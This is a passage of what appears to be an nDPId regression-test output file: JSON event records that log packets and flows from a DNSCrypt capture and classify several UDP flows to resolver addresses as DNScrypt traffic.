+00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":388,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":48490,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ+L4Aub0Rk4kKAAABMw980AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":388,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":389,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":946739337048,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":39910,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":161,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":48494,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc+MAgAL0RbrQKAAABMw980JvmEPcGBNOBaUQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":389,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":946739337048,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":39910,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":390,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":48503,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ+MAAub0Rk4cKAAABMw980AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":390,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":391,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":946739337048,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":53887,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":162,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":391,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":48530,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc+MFAAL0RUnMKAAABMw980NJ\/EPcCCHK1aUEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":391,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":946739337048,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":53887,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00671{"flow_id":157,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":392,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":76414,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWnoBAADURNfszD3zQCgAAARD3sT8Awv\/QaUWBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPvb\/epXmbtmpFJPDJPj0\/8kG2WLVy9aKZXG64Z\/RD4Asb+lk0fHUNVwKqjvyNJwSQDMlfv0kF+DU4Xf9AOufg1vl\/oZmXyGUvpIk2ki4WFZb2z8KlMPRm7olQdpuGdje2+X+hmZfIZSAAAAAV9TS2BfVJzg"} +00670{"flow_id":160,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":77210,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWnoFAADURNfozD3zQCgAAARD32dgAwtc5aUOBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPvb\/epXmbtmpFJPDJPj0\/8kG2WLVy9aKZXG64Z\/RD4Asb+lk0fHUNVwKqjvyNJwSQDMlfv0kF+DU4Xf9AOufg1vl\/oZmXyGUvpIk2ki4WFZb2z8KlMPRm7olQdpuGdje2+X+hmZfIZSAAAAAV9TS2BfVJzg"} +00670{"flow_id":158,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":394,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":77231,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWnoJAADURNfkzD3zQCgAAARD3wzcAwu3baUKBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPvb\/epXmbtmpFJPDJPj0\/8kG2WLVy9aKZXG64Z\/RD4Asb+lk0fHUNVwKqjvyNJwSQDMlfv0kF+DU4Xf9AOufg1vl\/oZmXyGUvpIk2ki4WFZb2z8KlMPRm7olQdpuGdje2+X+hmZfIZSAAAAAV9TS2BfVJzg"} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":395,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":946739337078,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":36930,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":163,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":395,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":78105,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc\/chAAL0ReVsKAAABp3LcfZBCAbsCCEbGm2kBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":395,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":946739337078,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":36930,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":396,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":946739337078,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":38508,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":164,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":78124,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc\/ckgAL0RlZoKAAABp3LcfZZsAbsGBGHYm2YBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":396,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":946739337078,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":38508,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":397,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":78136,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ\/ckAub0Rum0KAAABp3LcfQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":397,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":398,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":946739337078,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":39816,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":165,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":78188,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc\/cpAAL0ReVkKAAABp3LcfZuIAbsCCEbGm2cBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":398,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":946739337078,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":39816,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":399,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":946739337078,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":45613,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":166,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":78192,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc\/csgAL0RlZgKAAABp3LcfbItAbsGBEYVm2gBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA